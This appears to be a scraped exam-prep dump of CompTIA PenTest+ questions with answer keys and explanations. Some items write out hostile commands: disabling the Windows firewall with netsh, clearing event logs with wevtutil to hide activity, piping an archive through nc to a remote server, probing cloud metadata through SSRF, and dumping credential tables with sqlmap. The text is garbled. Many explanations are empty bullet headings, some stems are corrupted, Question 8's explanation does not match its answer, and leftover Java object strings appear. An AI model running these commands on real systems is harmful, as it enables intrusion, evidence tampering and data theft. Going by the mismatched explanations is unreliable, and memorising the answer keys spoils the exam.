

CompTIA

Exam Questions PT0-003

CompTIA PenTest+ Exam



NEW QUESTION 1

A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:

Server High-severity vulnerabilities

- * 1. Development sandbox server 32
- * 2. Back office file transfer server 51
- * 3. Perimeter network web server 14
- * 4. Developer QA server 92

The client is concerned monitoring mode using Aircrack-ng on any of the following hosts should the penetration tester select for additional manual testing?

- A. Server 1
- B. Server 2
- C. Server 3
- D. Server 4

Answer: C

Explanation:

? Client Concern:

? Server Analysis:

? Pentest References:

By selecting Server 3 (the perimeter network web server) for additional manual testing, the penetration tester addresses the client's primary concern about the availability and security of the consumer-facing production application.

=====

NEW QUESTION 2

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

- A. Logic bomb
- B. SQL injection
- C. Brute-force attack
- D. Cross-site scripting

Answer: B

Explanation:

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here's why option B is the most likely technique:
? Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.

? Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

? Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

References from Pentest:

? Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.

? Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

=====

NEW QUESTION 3

HOTSPOT

A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.

INSTRUCTIONS

Select the tool the penetration tester should use for further investigation.

Select the two entries in the robots.txt file that the penetration tester should recommend for removal.

Tool

Given the entries in robots.txt, select the tool the penetration tester should use for further investigation:

☐ Mimikatz

☐ WPScan

☐ Brakeman

☐ SQLmap

Show Question

Reset All Answers

← → ↺ http://example.com/robots.txt

Select the two robots.txt entries the penetration tester should recommend for removal:

1 ☐ User-agent: *

2 ☐ Disallow: /search

3 ☐ Allow: /search/about

4 ☐ User-agent: acunetix

5 ☐ crawl-delay: 10

6 ☐ Allow: /search/static

7 ☐ User-agent: Baidu

8 ☐ crawl-delay: 12

9 ☐ Disallow: /Home

10 ☐ User-agent: Slurp

11 ☐ crawl-delay: 20

12 ☐ Allow: /sdch

13 ☐ User-agent: Comptia

14 ☐ Allow: /admin

15 ☐ Allow: /wp-admin

16 ☐ crawl-delay: 15

17 ☐ Allow: /groups

18 ☐ Allow: /?hl=

19 ☐ Allow: /wp-login.php

- A. Mastered
B. Not Mastered

Answer: A

Explanation:

The tool that the penetration tester should use for further investigation is WPScan. This is because WPScan is a WordPress vulnerability scanner that can detect common WordPress security issues, such as weak passwords, outdated plugins, and misconfigured settings. WPScan can also enumerate WordPress users, themes, and plugins from the robots.txt file.

The two entries in the robots.txt file that the penetration tester should recommend for removal are:

? Allow: /admin

? Allow: /wp-admin

These entries expose the WordPress admin panel, which can be a target for brute-force attacks, SQL injection, and other exploits. Removing these entries can help prevent unauthorized access to the web application's backend. Alternatively, the penetration tester can suggest renaming the admin panel to a less obvious name, or adding authentication methods such as two-factor authentication or IP whitelisting.

NEW QUESTION 4

A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?

- A. Browser Exploitation Framework
B. Maltego
C. Metasploit
D. theHarvester

Answer: A

Explanation:

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly those related to web browsers and interactions.

? Browser Exploitation Framework (BeEF) (Answer: A):

? Maltego (Option B):

? Metasploit (Option C):

? theHarvester (Option D):

Conclusion: The Browser Exploitation Framework (BeEF) is the most suitable tool for leveraging a CSRF vulnerability to gather sensitive details from an application's end users. It is specifically designed for browser-based exploitation, making it the best choice for this task.

NEW QUESTION 5

Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

- A. Use steganography and send the file over FTP
B. Compress the file and send it using TFTP

- C. Split the file in tiny pieces and send it over dnscat
- D. Encrypt and send the file over HTTPS

Answer: D

Explanation:

When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here's an analysis of each option:

? Use steganography and send the file over FTP (Option A):

? Compress the file and send it using TFTP (Option B):

? Split the file in tiny pieces and send it over dnscat (Option C):

? Encrypt and send the file over HTTPS (Answer: D):

Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.

NEW QUESTION 6

During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?

- A. certutil.exe
- B. bitsadmin.exe
- C. msconfig.exe
- D. netsh.exe

Answer: D

Explanation:

? Understanding netsh.exe:

? Disabling the Firewall:

netsh advfirewall set allprofiles state off

? Usage in Penetration Testing:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 7

During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:

snmpwalk -v 2c -c public 192.168.1.23

Which of the following is the tester trying to do based on the command they used?

- A. Bypass defensive systems to collect more information.
- B. Use an automation tool to perform the attacks.
- C. Script exploits to gain access to the systems and host.
- D. Validate the results and remove false positives.

Answer: D

Explanation:

The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here's the purpose in the context provided:

? SNMP Enumeration:

? Purpose of the Command:

? Comparison with Other Options:

By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.

=====

NEW QUESTION 8

A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?

- A. IAST
- B. SBOM
- C. DAST
- D. SAST

Answer: D

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:

? Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

? Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

? Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

? Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.

References from Pentest:

? Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.

? Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
=====

NEW QUESTION 9

Which of the following components should a penetration tester include in an assessment report?

- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.

? Components of an Assessment Report:

? Importance of Attack Narrative:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups
=====

NEW QUESTION 10

Given the following statements:

? Implement a web application firewall.

? Upgrade end-of-life operating systems.

? Implement a secure software development life cycle.

In which of the following sections of a penetration test report would the above statements be found?

- A. Executive summary
- B. Attack narrative
- C. Detailed findings
- D. Recommendations

Answer: D

Explanation:

The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report. Here??s why option D is correct:

? Recommendations: This section of the report provides specific actions that should

be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.

? Executive Summary: This section provides a high-level overview of the findings

and their implications, intended for executive stakeholders.

? Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.

? Detailed Findings: This section provides an in-depth analysis of each identified vulnerability, including evidence and technical details.

References from Pentest:

? Forge HTB: The report's recommendations section suggests specific measures to address the identified issues, similar to the given statements.

? Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment.

Conclusion:

Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.
=====

NEW QUESTION 10

A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host's operating stability. Which of the following commands should the tester try first?

- A. responder -I eth0 john responder_output.txt <rdp to target>
- B. hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>
- C. msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > run
- D. python3 ./buffer_overflow_with_shellcode.py <target> 445

Answer: A

Explanation:

Responder is a tool used for capturing and analyzing NetBIOS, LLMNR, and MDNS queries to perform various man-in-the-middle (MITM) attacks. It can be used to capture hashed credentials, which can then be cracked offline. Using Responder has the least impact on the host's operating stability compared to more aggressive methods like buffer overflow attacks or payload injections.

? Understanding Responder:

? Command Breakdown:

? Why This is the Best Choice:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups
=====

NEW QUESTION 11

SIMULATION

A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.

INSTRUCTIONS

Output 1

Output 2

Output 3

```
[*] Target: someclouddomain.org

Searching 0 results.
Searching 100 results.
Searching 200 results.
[*] Searching Google.

[*] No IPs found.

[*] Emails found: 9
-----
afrihari@someclouddomain.org
security@someclouddomain.org
info@someclouddomain.org
gfareau@someclouddomain.org
avapretta@someclouddomain.org
lastname@someclouddomain.org
researchIT@someclouddomain.org
ghstrowski@someclouddomain.org
conferencespeakers@someclouddomain.org

[*] Hosts found: 9
-----
academic-stores.someclouddomain.org:34.196.18.124, 34.233.45.248,
52.7.213.114, 54.174.10.37
certifications.someclouddomain.org:198.134.5.32
connection.someclouddomain.org:13.107.246.51, 13.107.213.51
logins.someclouddomain.org:198.134.5.46
your.someclouddomain.org:52.173.139.125
ITpartners.someclouddomain.org:104.43.140.101
ls.someclouddomain.org:67.199.248.13, 67.199.248.12
stores.someclouddomain.org:34.233.45.248, 52.7.213.114, 54.174.10.37,
34.196.18.124
www.someclouddomain.org:23.96.239.26
```

Which of the following tools created this output?

- ☐ WHOIS
- ☐ dig
- ☐ Nmap
- ☒ TheHarvester

Select the appropriate command to produce the output:

- ☒ `theharvester -d someclouddomain.org -l 200 -b google.com`
- ☐ `theharvester -d google.com -l 200 -b someclouddomain.org`

Output 1

Output 2

Output 3

nslookup Output

Server: Unknown

Address: 8.8.8.8

Non-Authoritative answer:

Name: someclouddomain.org

Addresses:

245.62.183.182

245.145.184.203

dig Output

; DiG 9.11.5-P4.testmachine-Ubuntu <>> someclouddomain.org

;; global options: +cmd

someclouddomain.org. 300 IN A 245.62.183.182

someclouddomain.org. 300 IN A 245.145.184.203

Review Output 2 for the nslookup and dig commands:

Use the provided public DNS server to find the appropriate IPs for someclouddomain.org.

The local DNS server does not have Internet access.

Your Domain: pentestdomain.com

Your IP Address: 10.97.55.62

Public DNS Server: 8.8.8.8

Private DNS Server: 192.168.20.66

Target Domain: someclouddomain.org

Select TWO commands that would produce the nslookup and dig output:

- ☐ \$ dig @8.8.8.8 +noall +answer
someclouddomain.org
- ☐ \$ dig @192.168.20.66 someclouddomain.org
+short
- ☐ \$ dig someclouddomain.org +noall +short
- ☐ > nslookup someclouddomain.org 8.8.8.8
- ☐ > nslookup someclouddomain.org 192.168.20.66
- ☐ > nslookup someclouddomain.org

Output 1

Output 2

Output 3

(command 1)

whois 245.62.183.203

NetRange: 245.62.0.0 - 245.62.255.255

CIDR: 245.62.0.0/16

NetName: Amazon-05

NetHandle: NET-245-62-0-0-1

Parent: NET245 (NET 245-0-0-0-0)

NetType: Direct Allocation

OriginAS: AS56466, AS66522, AS7226

Organization: Amazon.com, Inc. (AMAZON)

RegDate 2010-08-27

Updated: 2015-09-24

Ref: <https://rdap.arin.net/registry/ip/245.62.183.203>

(command 2)

whois someclouddomain.org

Domain Name: someclouddomain.org

Registry Domain ID: D20033912-LRJA

Updated Date: 2021-02-15T04:43:38Z

Creation Date: 1993-09-22T04:00:38Z

Registrar: LocalComputerPro's, Inc.

Registrar Abuse Contact Email: domainabuse@localcomputerpros.com

Registrar Abuse Contact Phone: 1234567789

Registry Expiry Date: 2021-08-14T04:00:00Z

Review Output 3. Select the appropriate option for each dropdown

Where is the domain being hosted?

▼

Someclouddomain
ARIN
LocalComputerPro's.com
Amazon

Who registered the domain?

▼

LocalComputerPro's, Inc.
ARIN
Someclouddomain
Amazon

When was the domain registered?

▼

1993-09-22T04:00:38Z
2021-02-15T04:43:38Z
2015-09-24
2010-08-27

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Which of the following tools created this output?

- ☐ WHOIS
- ☐ dig
- ☐ Nmap
- ☒ TheHarvester

Select the appropriate command to produce the output:

- ☒ `theharvester -d someclouddomain.org -l 200 -b google.com`
- ☐ `theharvester -d google.com -l 200 -b someclouddomain.org`

Select TWO commands that would produce the nslookup and dig output:

- ☒ `$ dig @8.8.8.8 +noall +answer someclouddomain.org`
- ☐ `$ dig @192.168.20.66 someclouddomain.org +short`
- ☐ `$ dig someclouddomain.org +noall +short`
- ☒ `> nslookup someclouddomain.org 8.8.8.8`
- ☐ `> nslookup someclouddomain.org 192.168.20.66`
- ☐ `> nslookup someclouddomain.org`

Review Output 3. Select the appropriate option for each dropdown

Where is the domain being hosted?

Amazon



Who registered the domain?

LocalComputerPro's, Inc.



When was the domain registered?

1993-09-22T04:00:38Z



NEW QUESTION 13

A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?

- A. Cryptographic flaws
- B. Protocol scanning
- C. Cached pages
- D. Job boards

Answer: D

Explanation:

? Reconnaissance:

? Job Boards:

? Examples of Job Boards:

Pentest References:

? OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.

? Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.

? This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.

By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.

=====

NEW QUESTION 18

A penetration tester is conducting reconnaissance on a target network. The tester runs the following Nmap command: `nmap -sv -sT -p - 192.168.1.0/24`. Which of the following describes the most likely purpose of this scan?

- A. OS fingerprinting
- B. Attack path mapping
- C. Service discovery
- D. User enumeration

Answer: C

Explanation:

The Nmap command `nmap -sv -sT -p- 192.168.1.0/24` is designed to discover services on a network. Here is a breakdown of the command and its purpose:

? Command Breakdown:

? Purpose of the Scan:

Conclusion: The `nmap -sv -sT -p- 192.168.1.0/24` command is most likely used for service discovery, as it aims to identify all running services and their versions on the target subnet.

NEW QUESTION 23

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

- A. SQL injection
- B. SSRF
- C. XSS
- D. Server-side template injection

Answer: C

Explanation:

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here's why option C is correct:

? XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user's browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

? SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

? SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

? Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user's browser.

References from Pentest:

? Horizontall HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.

? Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.

=====

NEW QUESTION 25

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

- A. Clear the Windows event logs.
- B. Modify the system time.
- C. Alter the log permissions.
- D. Reduce the log retention settings.

Answer: A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

? Understanding Windows Event Logs: Windows event logs are a key forensic

artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

? Why Clear Windows Event Logs:

? Method to Clear Event Logs:

shell

Copy code `wevtutil cl System wevtutil cl Security`

`wevtutil cl Application`

? [uk.co.certification.simulator.questionpool.PList@6126ce2a](#)

? Alternative Options and Their Drawbacks:

? Case References:

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

=====

NEW QUESTION 30

Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

- A. Creating registry keys
- B. Installing a bind shell
- C. Executing a process injection
- D. Setting up a reverse SSH connection

Answer: A

Explanation:

Maintaining persistent access in a compromised system is a crucial goal for a penetration

tester after achieving initial access. Here's an explanation of each option and why creating registry keys is the preferred method:

? Creating registry keys (Answer: A):

? Installing a bind shell (Option B):

? Executing a process injection (Option C):

? Setting up a reverse SSH connection (Option D):

Conclusion: Creating registry keys is the most effective method for maintaining persistent access in a compromised system, particularly in Windows environments, due to its stealthiness and reliability.

NEW QUESTION 35

A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:

PORT STATE SERVICE

22/tcp open ssh 25/tcp filtered smtp 111/tcp open rpcbind 2049/tcp open nfs

Based on the output, which of the following services provides the best target for launching an attack?

- A. Database
- B. Remote access
- C. Email
- D. File sharing

Answer: D

Explanation:

Based on the Nmap scan results, the services identified on the target server are as follows:

? 22/tcp open ssh:

? 25/tcp filtered smtp:

? 111/tcp open rpcbind:

? 2049/tcp open nfs:

Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege escalation.

NEW QUESTION 36

A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?

- A. route.exe print
- B. netstat.exe -ntp
- C. net.exe commands
- D. strings.exe -a

Answer: C

Explanation:

The net.exe commands are native to the Windows operating system and are used to manage and enumerate network resources, including user accounts.

? Using net.exe Commands:

Step-by-Step Explanationnet user

? uk.co.certification.simulator.questionpool.PList@339a6471 net user <username>

? Additional net.exe Commands: net localgroup

net localgroup <groupname>

? uk.co.certification.simulator.questionpool.PList@1b7dbef8 net session

? Advantages:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 40

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

- A. sqlmap -u www.example.com/?id=1 --search -T user
- B. sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
- C. sqlmap -u www.example.com/?id=1 --tables -D accounts
- D. sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

Answer: B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here??s a breakdown of the options:

? Option A: sqlmap -u www.example.com/?id=1 --search -T user

? Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred

? Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts

? Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

References from Pentest:

? Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.

? Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

=====

NEW QUESTION 45

A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

- A. SAST
- B. Sidecar
- C. Unauthenticated
- D. Host-based

Answer: C

Explanation:

To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.

? Unauthenticated Scan:

? Comparison with Other Scans:

? Pentest References:

By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.

=====

NEW QUESTION 46

A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

- A. Phishing
- B. Tailgating
- C. Whaling
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

? Understanding Spear Phishing:

? Purpose:

? Process:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 50

A penetration tester presents the following findings to stakeholders:

Control | Number of findings | Risk | Notes Encryption | 1 | Low | Weak algorithm noted Patching | 8 | Medium | Unsupported systems System hardening | 2 | Low | Baseline drift observed

Secure SDLC | 10 | High | Libraries have vulnerabilities Password policy | 0 | Low | No exceptions noted

Based on the findings, which of the following recommendations should the tester make? (Select two).

- A. Develop a secure encryption algorithm.
- B. Deploy an asset management system.
- C. Write an SDLC policy.
- D. Implement an SCA tool.
- E. Obtain the latest library version.
- F. Patch the libraries.

Answer: DE

Explanation:

Based on the findings, the focus should be on addressing vulnerabilities in libraries and ensuring their security. Here??s why options D and E are correct:

? Implement an SCA Tool:

? Obtain the Latest Library Version:

Other Options Analysis:

? Develop a Secure Encryption Algorithm: This is not practical or necessary given that the issue is with the use of a weak algorithm, not the need to develop a new one.

? Deploy an Asset Management System: While useful, this is not directly related to the identified high-risk issue of vulnerable libraries.

? Write an SDLC Policy: While helpful, the more immediate and effective actions involve implementing tools and processes to manage and update libraries.

References from Pentest:

? Horizontall HTB: Demonstrates the importance of managing software dependencies and using tools to identify and mitigate vulnerabilities in libraries.

? Writeup HTB: Highlights the need for keeping libraries updated to ensure application security and mitigate risks.

Conclusion:

Options D and E, implementing an SCA tool and obtaining the latest library version, are the most appropriate recommendations to address the high-risk finding related to vulnerable libraries in the Secure SDLC process.

=====

NEW QUESTION 53

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Action | SRC

| DEST

| --

Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP Allow | 192.168.10.0/24 : 1-65535 |

0.0.0.0/0:443 | TCP

Block | . | . | *

Which of the following commands should the tester try next?

- A. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 </tmp/data.tar.gz
- B. gzip /path/to/data && cp data.gz <remote_server> 443
- C. gzip /path/to/data && nc -nvlk 443; cat data.gz ' nc -w 3 <remote_server> 22
- D. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

Answer: A

Explanation:

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

? Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

? Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

? Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

? Block: All other traffic (*). Breakdown of Options:

? Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443

< /tmp/data.tar.gz

? Option B: gzip /path/to/data && cp data.gz <remote_server> 443

? Option C: gzip /path/to/data && nc -nvk 443; cat data.gz | nc -w 3

<remote_server> 22

? Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz

<remote_server>

References from Pentest:

? Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

? Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

? Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

=====

NEW QUESTION 56

During an assessment, a penetration tester wants to extend the vulnerability search to include the use of dynamic testing. Which of the following tools should the tester use?

- A. Mimikatz
- B. ZAP
- C. OllyDbg
- D. SonarQube

Answer: B

Explanation:

? Dynamic Application Security Testing (DAST):

? ZAP (Zed Attack Proxy):

? Other Tools:

Pentest References:

? Web Application Security Testing: Utilizing DAST tools like ZAP to dynamically test and find vulnerabilities in running web applications.

? OWASP Tools: Leveraging open-source tools recommended by OWASP for comprehensive security testing.

By using ZAP, the penetration tester can perform dynamic testing to identify runtime vulnerabilities in web applications, extending the scope of the vulnerability search.

=====

NEW QUESTION 58

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

- A. curl <url>?param=http://169.254.169.254/latest/meta-data/
- B. curl '<url>?param=http://127.0.0.1/etc/passwd'
- C. curl '<url>?param=<script>alert(1)<script>/'
- D. curl <url>?param=http://127.0.0.1/

Answer: A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here's why the specified command is appropriate:

? Accessing Cloud Metadata Service:

? Comparison with Other Commands:

Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.

=====

NEW QUESTION 63

A penetration tester assesses an application allow list and has limited command-line access on the Windows system. Which of the following would give the penetration tester information that could aid in continuing the test?

- A. mmc.exe
- B. icacls.exe
- C. nltest.exe
- D. rundll.exe

Answer: C

Explanation:

When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test.

Here's an explanation for each option:

? mmc.exe (Microsoft Management Console):

? icacls.exe:

? nltest.exe:

? rundll.exe:

Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the domain environment.

=====

NEW QUESTION 65

A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?

- A. nmap -sU -sW -p 1-65535 example.com
- B. nmap -sU -sY -p 1-65535 example.com
- C. nmap -sU -sT -p 1-65535 example.com
- D. nmap -sU -sN -p 1-65535 example.com

Answer: C

Explanation:

? Comparison with Other Options:

=====

NEW QUESTION 70

A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

- A. attacker_host\$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
- B. attacker_host\$ mknod backpipe p attacker_host\$ nc -l -p 8000 | 0<backpipe | nc<target_cidr> 80 | tee backpipe
- C. attacker_host\$ nc -nlp 8000 | nc -n <target_cidr> attacker_host\$ nmap -sT 127.0.0.1 8000
- D. attacker_host\$ proxychains nmap -sT <target_cidr>

Answer: D

Explanation:

ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.

? Understanding ProxyChains:

? Command Breakdown:

? Setting Up ProxyChains: Step-by-Step Explanationplaintext Copy code

socks4 127.0.0.1 1080

? Execution:

proxychains nmap -sT <target_cidr>

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 75

A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings, and high-level statements. Which of the following sections of the report would most likely contain this information?

- A. Quality control
- B. Methodology
- C. Executive summary
- D. Risk scoring

Answer: C

Explanation:

In the final report for a penetration test engagement, the section that most likely contains details on the impact, overall security findings, and high-level statements is the executive summary. Here??s why:

? Purpose of the Executive Summary:

? Contents of the Executive Summary:

? Comparison to Other Sections:

=====

NEW QUESTION 79

While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

- A. Configuration changes were not reverted.
- B. A full backup restoration is required for the server.
- C. The penetration test was not completed on time.
- D. The penetration tester was locked out of the system.

Answer: A

Explanation:

? Debugging Mode:
? Common Causes:
? Best Practices:
? References from Pentesting Literature: References:
? Penetration Testing - A Hands-on Introduction to Hacking
? HTB Official Writeups
=====

NEW QUESTION 84

